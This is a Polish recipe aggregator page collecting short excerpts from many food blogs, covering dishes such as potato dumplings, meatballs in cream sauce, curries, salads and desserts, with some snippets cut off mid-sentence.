Potrawa trochę pracochłonna, ale za to pyszna i bardzo sycąca. Podajemy ze skwarkami albo sosem i surówką. Składniki: Ciasto: 1 kg ziemniaków jajko szklanka mąki pszennej pół szklanki mąki ziemniaczanej 2 szczypty soliFarsz: 500 kg mięsa (dałam łopatkę wieprzową) cebula sól, pieprz, ziele angielskie, liść laurowy parę łyżek wywaru z mięsa Przygotowanie Farsz: Mięso kroimy w sporą kostkę, zalewamy wodą

e-PrzepisyKulinarne
Klopsiki w sosie śmietankowym 235

wiem jak wy, ale ja uwielbiam klopsiki. A te gotowane i podane z dużą ilością sosu śmietankowego, z ziemniakami i marchewką z jabłkiem, to jest coś, czego nie odmówię. Czytaj więcej

Moje Pyszne Siódme Niebo
Spaghetti a'la bolognese 142

minut.  Gotuję makaron w osolonej wodzie z łyżką oleju. Mozarellę ścieram na tarce o grubych oczkach.  Na talerz wykładam ugotowany makaron, na to wykładam mięsny sos, posypuję serem i ziarnami słonecznika. Podaję z lampką czerwonego wina :-) SMACZNEGO

Wielopokoleniowo
Schab w sosie z ananasem 264

zalewie 3-4 kawałki papryki marynowanej 2 łyżki koncentratu pomidorowego 2 łyżki pikantnego ketchupu sól, pieprz słodka i ostra papryka cukier ocet winny … Czytaj dalej Schab w sosie z ananasem

czarrna od kuchni
Kluski ziemniaczane 160

Smak mojego dzieciństwa. Moja mam pochodzi z Wielkopolski więc u nas domu zajadaliśmy się ziemniakami pod wieloma postaciami: gotowane z sosem, kluski itp. Jednak zdecydowania najbardziej to warzywo odpowiada mi właśnie w takiej formie. Składniki: 2 kg ziemniaków (waga po obraniu) 30 dag mąki żytniej 2 jajka sól 50 dag dobrej wędzonej kiełbasy 1 duża cebula 25 dag twarogu

Pobite gary Barbary
Sos chrzanowy na zimno + film 269

Błyskawiczny sos chrzanowy z dodatkiem jabłka, to propozycja której nie może zabraknąć na stole wielkanocnym. Doskonale komponuje się z wędlinami, jajkami czy faszerowanym kurczakiem.   Jest smaczny a do tego banalnie prosty w przygotowaniu, wystarczy wszystkie składniki posiekać a potem wymieszać. składniki na 3 porcje 3 łyżki tartego chrzanu ze słoiczka 3 jajka ugotowane na twardo 1 jabłko

Smakowite Dania
Sałatka z soczewicą i fasolką szparagową 228

Pomidorki kroimy na połówki lub ćwiartki, rzodkiewki w plasterki, a cebulę w piórka. Siekamy koperek. Wszystkie składniki dodajemy do sałatki. Z oliwy, soku z cytryny, musztardy i miodu przygotowujemy sos. Przyprawiamy go solą, pieprzem i dodajemy do sałatki. Wszystko razem mieszamy. Sałatkę dekorujemy listkami bazylii

Smakowity Blog Kulinarny
Salsiccia fresca– włoska wieprzowa kiełbasa surowa (z amerykańskim rodowodem) 365

była na grillu, z przyrządzoną na patelni cebulą i papryką, podana w długich bułkach jak na hot-dogi. Z tymi samymi dodatkami będzie super składnikiem na pizzę i jako sos do domowego makaronu. Pycha z grilla, więc przepis na pewno do wykorzystania w sezonie! SKŁADNIKI 500g mięsa od szynki (waga po oczyszczeniu) 500g mięsa z łopatki wieprzowej (waga po oczyszczeniu

Karo in the Kitchen
Sałatka z fasoli i tuńczyka 167

sałatki użyłam fasoli Piękny Jaś Tyczny od CENOS. Polecam bo to dobra jakość za niską cenę. 1 szkl fasoli Piękny Jaś Tyczny Cenos puszka tuńczyka w kawałkach w sosie własnym mała czerwona cebula ząbek czosnku 2 łyżki oleju rzepakowego sól świeżo zmielony pieprz 2 łyżki posiekanej natki pietruszki rzeżucha do posypania Dzień wcześniej wieczorem fasolę wypłukać i namoczyć

Smakołyki Asi
Wontony z pieczoną kaczką i warzywami 245

Pierożki możemy też ugotować w wodzie lub na parze - w parowarze - my tak często robimy - włączamy parowar na 5-7 minut i pierożki są gotowe! Dobrze smakują podane z sosem słodko-kwaśnym czy ostrym na bazie chili! Smacznego :) *Naszą kaczkę piekliśmy w żeliwnym garnku, który po wyłączeniu piekarnika zostawiliśmy w piekarniku do wystudzenia - kaczka idealnie nam doszła! Była cudnie miękka

Plate of Joy
Kuchnia indyjska - Jagnięcina duszona z ziemniakami. 143

minut. Do gotującego się gulaszu dodaj ziemniaki, zamieszaj i gotuj około 30 minut, aż mięso i ziemniaki zmiękną , a większość soku zostanie wchłonięta. Powinniśmy uzyskać niewielką ilość gęstego sosu. Gotowe danie dekorujemy posiekaną zieloną kolendrą lub natką pietruszki. Podajemy gorące

Przepisy i porady kulinarne
Sos karmelowy z solą 159

Następnie wlać wodę i bardzo energicznie wymieszać aż cukier się rozpuści. Gotować przez minutę, następnie wlać śmietankę i podgrzewać jeszcze przez około 4-6 minut w zależności jak gęsty sos chcemy uzyskać. Jako ostatnie dodać masło oraz sól, wymieszać do połączenia się składników i podgrzewać jeszcze prze minutkę. Przelać do dzbanuszka

Pyry na Gaz
Ogniste curry z kurczaka 235

Ostre i aromatyczne :) Składniki 1 filet z kurczaka 1 puszka mleka kokosowego 2 dymki 1 łyżka czerwonej pasty curry 2 łyżeczki garam masali 2 łyżki sosu sojowego 2 papryczki … Czytaj dalej Ogniste curry z kurczaka

czarrna od kuchni
Kotlety z karczku z nadzieniem 321

Zamiast zwykłego mięsa w panierce wersja bardziej syta :) Składniki 4 kotlety z karkówki kawałek czerwonej papryki 100 g pieczarek 50 g żółtego sera sos piri-piri sól, pieprz do panierowania: … Czytaj dalej Kotlety z karczku z nadzieniem

czarrna od kuchni
Pieczone, nadziewane ziemniaczki. 255

sera. Wkładamy do lekko nagrzanego piekarnika, nastawiamy temp. na 180 stopni i pieczemy do momentu, aż ziemniaki będą miękkie, a nadzienie się przypiecze - ok. 40 minut.  Podajemy z sosem zrobionym z jogurtu naturalnego i czosnku, posypujemy koperkiem, dekorujemy papryką

Apetyt na więcej - jadłodajnia dla duszy i ciała
Jak przygotować przyjęcie, nie zbankrutować i nie zmęczyć się za bardzo 216

Pieczywo upieczone własnoręcznie wystarczy owinąć w bawełnianą lub lnianą ściereczkę i wytrzyma w zależności od rodzaju od 2 do 5 dni. Sałatki owocowe - powinny być zjedzone tego samego dnia. Sosy jogurtowe, majonezowe - 2-4 dni, przechowywane w lodówce i w zamkniętych naczyniach. Szaszłyki - mięso do nich można pokroić i przyprawić nawet 2 dni wcześniej. Dzień wcześniej nabić na patyki wraz

Codzienna kuchnia niecodzienna
Soczewica po bretońsku 195

przecier, pokrojone w paseczki suszone pomidory, podsmażyć chwilkę. Wlać pomidory z puszki. Wrzucić zioła i soczewicę. Dusić ok 15 minut do miękkości. Dolać wody jeśli soczewica za bardzo wchłonie sos.  Podawać z zieloną natką

AZgotuj!
SURÓWKA Z KAPUSTĄ PEKIŃSKĄ I GROSZKIEM 216

tarce o grubych oczkach. Pora pokroić w pół talarki. Groszek odsączyć z zalewy. Wszystkie składniki przełożyć do półmiska. Majonez wymieszać ze śmietaną. Dodać czosnek przeciśnięty przez praskę. Polać sosem po warzywach i wymieszać. Doprawić solą i pieprzem do smaku. SMACZNEGO

Prosto i Smacznie z Anetą
ziemniaczano-jajeczne kotlety z pesto peperoncino... 237

dobrze rozgrać na patelni, kłaść kotlety i lekko je spłaszczyć smażyć na rumiano i odkładać na papierowy ręcznik - kotlety sa smaczne i na ciepło i na zimno, z różnymi sosami, keczupem................SMACZNEGO

W Mojej Kuchni Lubię
Fasolka po bretońsku 177

cebulę, kolejno dodać sprasowany czosnek i pokrojoną kiełbaskę. Całość podsmażyć. Kiedy kiełbaska będzie rumiana, w lać passatę pomidorową, wrzucić listek laurowy, ziele i całość s mażyć do momentu, aż sos lekko zgęstnieje. Pod koniec gotowania, jakieś 2-3 minuty, dodać odcedzoną fasolę, doprawić suszonym majerankiem oraz wędzoną papryką. Na koniec doprawić solą oraz pieprzem do smaku. Smacznego

Kraina Miodem Płynąca
Surówka z marchewki i białej rzepy 189

Białą rzepę i marchewkę zetrzeć na tarce o grubych oczkach. W miseczce wymieszać majonez z jogurtem i chrzanem, do smaku doprawić czarnym pieprzem. Starte warzywa wymieszać i połączyc z sosem. Jeszcze raz wymieszać. Odstawić na ok 30 minut aby smaki się przegryzły

Monia miesza i gotuje
Filet z pieczarkami w maślanym sosie 249

pieczarek 1 papryczka chili 2 łyżki masła klarowanego 2 łyżki masła śmietankowego 1 łyżka śmietany 1/2 kostki rosołowej 2 … Czytaj dalej Filet z pieczarkami w maślanym sosie

czarrna od kuchni
Filet z kurczaka w pikantnej marynacie 288

Składniki: 1 pojedynczy filet z kurczaka Marynata: 3 ząbki czosnku 3 łyżki oleju 2 łyżki octu balsamicznego 1 łyżka sosu sojowego 1 łyżka musztardy francuskiej 1 łyżeczka ostrej papryki 1 … Czytaj dalej Filet z kurczaka w pikantnej marynacie

czarrna od kuchni
Żurawinowy nerkownik na daktylowym spodzie 204

żurawinę zalewamy wrzątkiem na 1-2h przed przygotowaniem. Żurawinę, miód oraz sok z cytryny umieszczamy w garnuszku i podgrzewamy, aż do momentu gdy żurawina zacznie pękać, a sos lekko gęstnieć. Zdejmujemy z ognia i lekko studzimy. Przecieramy przez sito, aby pozbyć się skórek i pesteczek. Orzechy nerkowca odcedzamy i umieszczamy w misie blendera. Dodajemy olej kokosowy, mąkę kokosową

DefinicjaSmaku
Pralinki z orzechami i karmelem 203

wydają charakterystyczny trzask przy ugryzieniu. Składniki 16-18 czekoladek: 150 g ciemnej czekolady (min. 60% kakao) 16-18 orzechów laskowych , uprażonych i bez skórki ok. 8 łyżeczek gęstego sosu karmelowego lub kajmaku (ilość orientacyjna!) Wersja szybka Czekoladę posiekać, roztopić w kąpieli wodnej (podgrzewamy tylko do rozpuszczenia czekolady). Za pomocą małego pędzelka posmarować wewnątrz silikonową foremkę do pralinek (spód powinien być

Pełny talerz
Pierś z indyka w sosie paprykowym. 239

Następnie przelewamy do blendera i miksujemy na gładką masę.  Sznycle z indyka płuczemy i doprawiamy solą i pieprzem z każdej strony - układamy w naczyniu żaroodpornym wysmarowanym oliwą, zalewamy sosem paprykowym i zapiekamy w nagrzanym do 180 stopni piekarniku przez 40 minut. Smacznego

Moje-pitraszenie
Szaszuka - Jajka sadzone w pomidorach 354

kostkę czerwoną paprykę, smażymy aż nieco zmięknie. Następnie dodajemy obrane ze skórki i pokrojone pomidory i pokrojone w pasterki oliwki. Przyprawiamy do smaku chili, solą oraz pieprzem i gotujemy sos przez ok 5 min aby smaki się ze sobą połączyły. Wbijamy jajka i przykrywamy patelką pokrywką i czekamy aż jajka się zetną. Posypujemy natką pietruszki i gotowe smacznego

W kuchennej krainie
Moje #kuchenneskarby - Zakupy w sklepie z produktami arabskimi 224

się konsystencja. Te małe perełki po ugotowaniu są sprężyste i dają przyjemny opór pod zębami. Dobrze sprawdziły się we wspomnianej sałatce, ale z pewnością zupy, gulasze i dania z sosem także zyskają dzięki ich dodatkowi. Syrop daktylowy To mój ulubieniec! Oszalałam na jego punkcie od pierwszego spróbowania. O syropie daktylowym usłyszałam po raz pierwszy w programie "Ugotuj mi mamo

Chilli Czosnek i Oliwa
Filet z Kurczaka ze Szpinakiem w Szynce Parmeńskiej 225

wystarczy po prostu ponacinać, w szczeliny powciskać szpinak, a potem owinąć cieniutkimi plasterkami szynki. To naprawdę proste. Przy okazji sprawdziłam patelnię Woll pod kątem zapiekania bez dodatkowego tłuszczu, czy sosu. Dzięki temu, że smażąc na tej patelni nie musimy smażyć w dużej ilości tłuszczu odpuściłam sobie mycie patelni po smażeniu szpinaku, po prostu wyłożyłam szpinak do miski, a na patelnię

Blondynka Gotuje
Piersi kurze w czerwonym curry 192

pół. Smażyć mieszając następną minutkę. Piersi kurze pokroić w podłużne paski, osolić lekko. Wrzucić mięso do woka i smażyć mieszając, aż mięso straci kolor surowizny. Wlać mleko kokosowe i sos rybny oraz suszone chilli. Wymieszać i gotować 2 minuty, Wyjąć i wyrzucić trawę cytrynową . Na koniec dodać kilka listków bazylii i posiekaną kolendrę

Kuchnia Pokoleń
Klasyczne brownie i ... wielki bałagan 217

przełożyć do wyłożonej papierem do pieczenia  formy o wymiarach około 30x20 cm. Wstawić do piekarnika rozgrzanego do 220 stopni C i piec 10 minut.  Brownie podawać z sosem malinowym, owocami, bitą śmietaną, lodami ...lub zajadać samo, bez dodatków. Smacznego !  * post sponsorowany

kolorowotorcikowo
Papryka faszerowana mięsem mielonym i ryżem 204

grzałka górna i dolna, 2 półka) i zapiekać pod przykryciem przez około 60 minut. Na 20 minut przed końcem pieczenia wierzch papryk posypać startą mozzarellą. Podawać gorące, polane np. sosem pomidorowym . SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzą 4 duże lub 6 średnich papryk. Czas zapiekania może się nieznacznie różnić. Zależy on od wielkości papryk, właściwości piekarnika

Gospodyni Miejska
Tagine z kurczakiem i gruszkami 231

minut. Po tym czasie dodałem do kaszy łyżkę masła i przemieszałem ją widelcem. Wyłożyłem gotowy kus-kus na talerze. Wyłożyłem mięso wraz owocami i warzywami i obficie polałem sosem, który wytworzył się w naczyniu, w którym piekło się mięso. Całość posypałem czarnym świeżo zmielonym pieprzem i dużą ilością listków świeżej natki kolendry. Zapraszam do spróbowania i życzę smacznego

Wyprawy kulinarne
Kuleczki z tuńczykiem, marchewką i soczewicą z aromatycznym barszczem 195

tych, które wcześniej pojawiły się już na blogu (są szybkie i smaczne ;)). Kuleczki z tuńczykiem, marchewką i soczewicą z aromatycznym barszczem Kuleczki z tuńczykiem: 1 puszka tuńczyka w sosie własnym 1 średniej wielkości marchewka 1 jajko 2 łyżki soczewicy czerwonej 2 łyżki płatków jaglanych 1 łyżka otrąb owsianych szczypta soli szczypta pieprzu tymianek, oregano, rozmaryn Barszcz: 8 średniej wielkości buraków

FitKot
wołowina pieczona w plastrach z cebulą 200

Wołowina jest mięsem z którego sos wychodzi według mnie najsmaczniejszy z najładniejszą barwą

Ugotujmy Coś
deser bananowo-pomarańczowy 151

Deser szybki z wykonaniu z pomarańczą i bananami polane sosem toffee

Ugotujmy Coś
Kaczka na risotto z zielonej soczewicy 230

czasie wyjmujemy piersi z piekarnika i odstawiamy na chwilę. Piersi kroimy w plastry i układamy na soczewicy z tego przepisu , obok układamy opcjonalnie brokuły. Całość możemy polać sosem balsamico

Piekielna Kuchnia Pati
Pudding z nasion chia (z nutą czekolady) 196

Opcjonalnie - co jakiś czas można przemieszać.) Gdy będzie już gotowy - dodać stopioną czekoladę i przełożyć w mniejsze pucharki/miseczki. (Ładnie wygląda w przezroczystych naczyniach.) Udekorować wg uznania. (Można podawać z sosem czekoladowym, konfiturą, bakaliami, czy np. ulubionymi owocami.)  (*) Jeśli chcemy dodać stopioną czekoladę przed wstawieniem puddingu do lodówki - należy użyć mniejsze ilości nasion chia. Czekolada dodatkowo zagęści nasz deser

Di gotuje
Sałatka z kuskusu z serem feta 361

każdy plaster na cztery). Kukurydzę oraz fetę odsączyć z zalewy. Przestudzony kuskus wymieszać z warzywami i serem.  Wszystkie przyprawy wymieszać z jogurtem, musztardą i wasabi. Tak przygotowany sos dodać do kuskusu. Doprawić do smaku. Można podawać do obiadu lub jako samodzielne danie :) Smacznego

Tagebuch po polsku
Pampuchy z jagodami 188

obwiązany gazą. Jak już woda się będzie gotowała to rozłożyć pampuchy na gazie i przykryć dużą miską. Gotować 5 minut, następnie zdjąć z gazy i podawać gorące, polane dowolnym sosem owocowym i owocami. Ja mam jagody, ponieważ je uwielbiam i przez cały rok mają podobny smak. Jeśli macie parowar do gotowania na parze to byłoby super. Można rozłożyć bułeczki

Kuchnia Pokoleń
Zapiekana jaglanka czyli kolejna porcja nowości 154

jaglana. Jest bardzo zdrowa,nie zawiera glutenu, ale jest też bardzo uniwersalna.  Można ją dodawać praktyczne do wszystkiego:  do deserów; jogurtów i owoców; zapiekanek czy mięs i sosów. Ostatnio zaczęłam poszukiwać śniadaniowych inspiracji, w końcu ile można jeść to samo. Dzisiejszą śniadaniową inspiracją stała się Pam .  Acha i jeszcze jedna uwaga: aby dobrze przygotować kaszę trzeba

Bon appetit mon amie
Frittata z tuńczykiem 175

każdą porę dnia.   Ja zapraszam na wersję makaronową z tuńczykiem. FRITTATA Z TUŃCZYKIEM Składniki: makaron spaghetti na 1 porcję 3 jajka 1/2 cebuli 1/2 puszki tuńczyka w sosie własnym 3 łyżki ser żółty startego    4 łyżki oliwy z oliwek 1 szczypta soli do smaku 1 szczypta pieprzu do smaku pomidorki koktajlowe   Przygotowanie: Makaron spaghetti gotujemy według

Bon appetit mon amie
Tarta z tuńczykiem 165

kolejny pomysł na tuńczyka. Wygląda trochę jak taka mniej kaloryczna wersja pizzy, a jest równie smaczna. TARTA z TUŃCZYKIEM Składniki: 1 opakowanie ciasta francuskiego 1 puszka tuńczyka w sosie własnym 1/2 puszki kukurydzy 1 cebula czerwona (można zastąpić np. porem) 2 jajka 3 łyżki śmietany 18% 1 szczypta soli 1 szczypta pieprzu Przygotowanie: Ciasto francuskie układamy w formie wyłożonej papierem

Bon appetit mon amie
Sałatka makaronowa z suszonymi pomidorami i szynką parmeńską 178

także w paski.  Ziarenka prażymy na suchej patelni.  Wszystkie składniki dokładnie razem mieszamy. Do zalewy z pomidorów dodajemy ocet i przeciśnięty przez praskę czosnek, mieszamy dokładnie. Takim sosem polewamy sałatkę. Całość posypujemy grubo startym parmezanem. uwaga: Radzę kupić trochę droższe pomidory suszone np. Ponti, ponieważ różną się znacznie smakiem od tych tańszych, nie takiego "rdzawego" maja posmaku

Bon appetit mon amie
Penne z soczewicą i salami 165

Całość zalewamy bulionem, gotujemy ok. 20 minut aż soczewica zmięknie.  Pod koniec dodajemy przecier pomidorowy, doprawiamy do smaku.  Makaron penne gotujemy według przepisu na opakowaniu dodajmy do sosu. Podajemy posypane parmezanem

Bon appetit mon amie
Boeuf strogonow 204

daniami serwowanym raz w roku. Na stołach pojawiają się kaczki w jabłkach, szynki pieczone w pomarańczach, schab ze śliwką, a waszym domu to świąteczny Boeuf Strogonow, wołowy gulasz w sosie pomidorowym. BOEUF STROGONOW Składniki:  ok. 1 kg łopatki wołowej 2-3 ząbki czosnku kilka ziarenek ziela angielskiego 3-4 liście laurowe 1/2 szklanki koncentratu pomidorowego 4-5 szt ogórki

Bon appetit mon amie
Pesto z oliwek i suszonych pomidorów 168

mniejszych ilościach (w znikomych ilościach nawet te bogate w składniki "uczulające") Po tym sporym wstępie pora na przepis. Dzisiaj bardzo,krótki na pesto,które może stanowić bazę do sosu do makaronu (bezglutenowego oczywiście), zwykłą pastę kanapkową albo dodatek do chleba paleo, o którym już wkrótce. PESTO z OLIWEK i POMIDORÓW Składniki: 1 szklanka oliwek bez pestek 8 kawałków pomidorów suszonych

Bon appetit mon amie
Bogracz 198

Bogracz Danie bardzooooo mięsne, więc wegetarianom nie polecam :)))) Ja zrobiłam to w formie gęstej zupy ale szukając przepisu w internecie natknęłam się na przeróżne formy bogracza. Od konsystencji wręcz sosu aż po bardzo rzadką zupę. Można go zrobić troszkę ostrym ( ja tak zrobiłam) albo łagodnie jeśli ktoś nie gustuję w ostrych przyprawach. To danie zajmuje troszkę czasu ale w sumie

Tanio smacznie i prosto
Deser Monte z dodatkami 249

jest podzielone co do smaków ale dla mnie na pierwszym miejscu znalazły się dwa Monte Cherry i Monte Cappuccino Balls. Przedstawiam cała pyszną ósemkę. Monte Cherry z dodatkiem wiśniowego sosu i wisienkami Monte Waffle Sticks z dodatkiem kruchych wafelków pokrytych delikatną czekoladą Monte Cookies z dodatkiem maślanych ciasteczek Monte Choco Balls z dodatkiem czekoladowych kuleczek Monte Crunchy z dodatkiem chrupiących

Kulinarne życie
Kurczak w sosie słodko-kwaśnym 252

pojedynczy filet z kurczaka 2 woreczki kaszy gryczanej 2 łyżki kwaśnych powideł śliwkowych ok. 100 g pędów bambusa z zalewy -panierka: 1 łyżka mąki … Czytaj dalej Kurczak w sosie słodko-kwaśnym

czarrna od kuchni
Bitki schabowe w sosie porowym 286

Składniki 2 plastry schabu 1 średni por 3-4 ząbki czosnku 3-4 łyżki śmietany sól, pieprz 2 łyżki mąki masło klarowane   … Czytaj dalej Bitki schabowe w sosie porowym

czarrna od kuchni
Skrzydełka garam masala 266

Proste i smaczne :) obiad robi się w zasadzie sam :) Składniki 1 kg skrzydełek marynata: 3 łyżki octu balsamicznego 3 łyżki sosu piri-piri 1 łyżka przyprawy garam masala 1 … Czytaj dalej Skrzydełka garam masala

czarrna od kuchni
placki ziemniaczane z piekarnika 352

majerankiem, solą oraz pieprzem. Blaszkę wykładamy papierem do pieczenia i dodatkowo smarujemy olejem. Układamy placuszki. Pieczemy w 180 st. C na rumiano. Podajemy ze śmietaną lub jogurtem naturalnym, lub sosem czosnkowym

Domowy Smak Jedzenia
Curry orzechowe z ciecierzycą (wegańskie) 307

mleka kokosowego * 50 ml masła orzechowego * 800 g ugotowanej ciecierzycy * 1 cebula * 2 ząbki czosnku * 1 papryczka chili * 1 łyżka oleju/oliwy * 1 łyżka pasty curry * 1 łyżka sosu sojowego * sól, pieprz *Ewentualne dodatki do podania: ryż, świeża mięta, kolendra, jogurt. WYKONANIE: Marchewkę kroimy w słupki o długości 3-4 cm. Cebulę, czosnek i papryczkę chili kroimy w drobną kosteczkę

Mohiella
Babka z kaszy kuskus z pieczarkami 204

Babkę z kaszy kuskus z malutkimi pieczarkami, można samą zjadać  lub z mięsem, warzywami czy z sosami podawać. Ziarna w same w sobie żółty kolor mają, ale dodanie przyprawy curry jeszcze bardziej go podkreślają.  Soczyste pieczarki, w masie z kuskusu i jajek są pochowane, kilka na wierzch zostały dodane, następnie żółtym serem posypane i w piekarniku zapiekane

Moniki Smakołyki
Prosta pizza warzywna. 170

Potrzebne nam będą: Ciasto na pizzę, 250 g mieszanki warzywnej ze słoiczka, 200 g fety. Przygotowanie: Podgrzewamy piekarnik w temperaturze 220 °C. Rozwałkowujemy ciasto na pizzę. Rozprowadzamy na nim sos pomidorowy. Wkładamy do piekarnika na 10 minut. W międzyczasie kroimy fetę  w kosteczkę. Po wyjęciu pizzy z piekarnika rozprowadzamy na niej naszą mieszankę warzywną i pokrojoną w kosteczkę fetę

MODA NA BIO
Meksykański gulasz z wołowiną 282

zarazem niezbyt nudnego by każdy był zadowolony. Kilkukrotnie już strzałem w dziesiątkę okazał się gulasz. Ten jest niesamowity w smaku. Fasola, kukurydza, papryka czerwona, marchew i duża ilość sosu pomidorowego z dodatkiem najlepszych kawałków wołowiny to pomysł idealny na danie, które ma zachwycać. Długo duszone mięso, które rozpływa się w ustach! Nie ma nic smaczniejszego! Wystarczy dobrej jakości pieczywo

Mango Papaja
Falafel z ciecierzycy 186

masę. Odstaw na 10 minut, jeśli używasz błonnika. BłonnikRozgrzej olej. Uformuj okrągłe kulki falafel. Wrzucaj po kilka na rozgrzany tłuszcz i smaż na złoty kolor. Podawaj na ciepło z sosem, sałatą i pita. The post Falafel z ciecierzycy appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Kuchnia staropolska - warsztaty kulinarne 231

cotte  Serwujemy zgodnie ze wskazówkami szefa :)  Czasami skomplikowany proces gotowania należy oddać w ręce kucharza profesjonalnego, a samemu podziwiać z zapartym tchem zza pleców :) Grasica cielęca, w sosie grzybowym na białym winie, serwowana z blinami gryczanymi Animela lub mleczko cielęce. Na potrawkę Mózg cielęcy po flisowsku. Na przydatek Móżdżek cielęcy w bulionie na białym winie zagęszczanym zasmażką, serwowany

Grunt to przepis!
Filet miodowy 300

Szybki i smaczny :) Składniki 1 filet z kurczaka marynata: 2 łyżeczki miodu płynnego 1 łyżeczka sosu piri-piri 1 łyżeczka pasty paprykowej łagodniej 1 łyżeczka ketchupu 1/2 łyżeczki soli Sposób … Czytaj dalej Filet miodowy

czarrna od kuchni
Pampuchy z paprykowym sosem wołowym 253

Składniki 1/2 kg wołowiny 1 duża cebula 1 łyżeczka papryki wędzonej 2 łyżki pasty paprykowej łagodnej sól i pieprz marynata: 1/2 łyżki octu … Czytaj dalej Pampuchy z paprykowym sosem wołowym

czarrna od kuchni
Grillowane figi 161

Wykorzystując brązowy cukier i ocet balsamiczny możemy stworzyć wyrafinowany sos, który będzie pasował idealnie do fig lub świeżych truskawek. Składniki: ½ szklanki octu balsamicznego 3 łyżki brązowego cukru 6 świeżych fig ¾ szklanki sera mascarpone Przygotowanie: W małym rondlu gotować na średnim ogniu ocet balsamiczny z cukrem. Następnie zmniejszyć ogień i gotować do momentu aż się zredukuje o połowę. Ostudzić. Figi przeciąć

naRuszcie
szybkowar-gulasz "strogonow" z łopatki z kaszą paloną gryczaną... 203

suszonej strogonow są: pieczarki, pomidory, cebula, czosnek, papryka zielona, gałka muszkatołowa spuścić ciśnienie z szybkowaru, śmietanę z mąką wymieszać w szklance wody i wlać do gulaszu, mieszać do zagęstnienia sosu kaszę gryczaną paloną gotować w osolonej wodzie 15-17 minut, wylać na durszlak - gulasz jest aromatyczny, syty i smakuje np. z kiszonym ogórkiem..............SMACZNEGO

W Mojej Kuchni Lubię
Pasta z soczewicy i liści rzodkiewki 164

pieprzem. Jeszcze przez chwilę blendujemy. Przekładamy do miseczki lub innego naczynia i wstawiamy na godzinę do lodówki. Podajemy z ulubionym pieczywem. Liście rzodkiewki bardzo dobrze sprawdzą się w  sosie pesto  z dodatkiem prażonych pestek dyni

My Chcemy Jeść
Podsumowanie Stycznia - Zobacz co nowego na Sylwetce Od Kuchni 199

przepisy :) Który próbowaliście ?   W STYCZNIU TOP 5 PRZEPISÓW STYCZEŃ 1.  Placki z Kurczaka | Fit Przepis #43 2.   Pomysł na Lunch Boxa #1- Ryż z kurczakiem z sosem chrzanowym 3.   Dietetyczne Bounty - Zdrowe Słodycze 4.  Pomysł na Lunch Boxa #2 - Ryż po Bolońsku 5.   Omlet Proteinowy | Pomysł na Śniadanie #1  Teraz trochę statystyk

Sylwetka Od Kuchni
Miodownik z pianką jagodową 234

jasnosłomkowej barwie. Wielką zaletą  miodu jest to, że przez długi okres czasu nie krystalizuje się i pozostaje płynny. Miód akacjowy to idealny dodatek do ciast, ciastek, deserów, sosów i marynat.  To także doskonały słodzik napojów. Miód akacjowy jest szczególnie lubiany przez dzieci. Produkt spełnił wszystkie moje oczekiwania i jeszcze niejednokrotnie użyję go do swoich wypieków.  Zapraszam

Tradycyjna kuchnia Kasi
Pieczarki nadziewane mięsem mielonym i zapiekane z serem. 195

stopni i pieczemy około 15 minut, następnie przykrywamy każdą pieczarkę plasterkiem sera żółtego i pieczemy jeszcze około 10 minut aż ser się rozpuści i zarumieni.Podajemy z remuladą lub dowolnym sosem. Smacznego

Sama słodycz i szczypta chili
Makaron ze szpinakiem i serkiem wiejskim 480

sól, pieprz Lista składników uboga, co może wskazywać tylko na jedno - będzie szybko i łatwo :) Na początku wstawiamy makaron - pamiętajcie, że pełnoziarnisty gotuje się dłużej od białego, tymczasem nasz sos jest błyskawiczny, więc trzeba te czasy w miarę możliwości wyrównać. Gdy makaron się gotuje, na roztopiony olej kokosowy wrzucamy szpinak, a gdy się rozmrozi, dodajemy przyprawy - jak zwykle dużo czosnku

Kulinarne zapędy Kokosa
PRZEPYSZNA SAŁATKA Z SELEREM NACIOWYM 1148

kostkę. Orzechy sparzyć wrzątkiem, pokroić na drobno. Pomelo obrać z białej skórki, pokroić małe kawałki.Ser zetrzeć na tarce o dużych oczkach. Wszystko razem pokroić, dodać żurawinę, kukurydzę i sos jogurtowo-majonezowy. Doprawić solą i pieprzem

pieprzny smaczek
Shoarma wieprzowa z frytkami i sosem czosnkowym! 171

będzie miękkie (ok. godzinkę). Frytki Składniki:   -ziemniaki -olej Sposób przygotowania: Ziemniaki kroimy na paseczki i smażymy na gorącym oleju w frytkownicy lub w garnku aż się zarumienią. Sos czosnkowy Składniki: -jogurt naturalny 250ml -3 ząbki czosnku -1 łyżka majonezu -sól i pieprz Sposób przygotowania: Czosnek przerabiamy przez wyciskarkę do czosnku. Następnie mieszamy z majonezem i dolewamy jogurt naturalny. Doprawiamy

Magia jedzenia.
Schab w sosie grzybowym! :) 288

patelnie. Następnie dodajemy cebule pokrojoną w małą kosteczkę i suszone grzyby. Posypujemy majerankiem i dusimy pod przykryciem ok. 1 godzinę. Na koniec wyciągamy mięso na talerz a sos zaciągamy mąką rozrobioną z odrobiną wody. Gotujemy jeszcze przez chwilę i możemy rozkoszować się smakiem naszego dania.  Smacznego

Magia jedzenia.
Zupa ogórkowa! 182

Składniki: -porcja rosołowa -6 ziemniaków -8 ogórków kiszonych (jeśli chcemy uzyskać bardziej kwaśną zupę dodajemy więcej ogórków) -2 średnie marchewki -śmietanka "do zup i sosów" 18% -przyprawy (ziele angielskie, liść laurowy, sól, kucharek) Sposób przygotowania: Porcje rosołową myjemy, wkładamy do garnka, zalewamy wodą i stawiamy na średni ogień. Podczas gotowania zbieramy "szumowinę" a następnie dodajemy przyprawy. Gotujemy

Magia jedzenia.
Shoarma drobiowa:) 323

chcemy by smak był intensywniejszy to mięso powinno stać w przyprawach ok. 3-4 godziny ale jeśli nie mamy czasu to smażymy od razu. Podajemy z frytkami, surówką i sosem czosnkowym. Smacznego

Magia jedzenia.
Udka kurczaka w sosie musztardowo-klonowym 227

jagodzianka" To pyszne danie z dodatkiem ostrej musztardy i słodkiego syropu klonowego przypadnie do gustu wielu z Was. Syrop klonowy jest … Przeczytaj cały artykuł Post Udka kurczaka w sosie musztardowo-klonowym pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Smażone skrzydełka 148

Bardzo smaczne, proste danie. Wspaniale smakuje z sosem majonezowo chrzanowym od Folwark   Składniki 1 kg skrzydełek z kurczaka 200 ml przyprawy maggi mąka olej rzepakowy do głębokiego smażenia   Przygotowanie Normal 0 21 false false false MicrosoftInternetExplorer4 Skrzydełka oczyszczamy i osuszamy papierowym ręcznikiem. Przekładamy do pojemnika i zalewamy przyprawą. Wkładamy do lodówki na całą noc. Następnie wyjmujemy z przyprawy

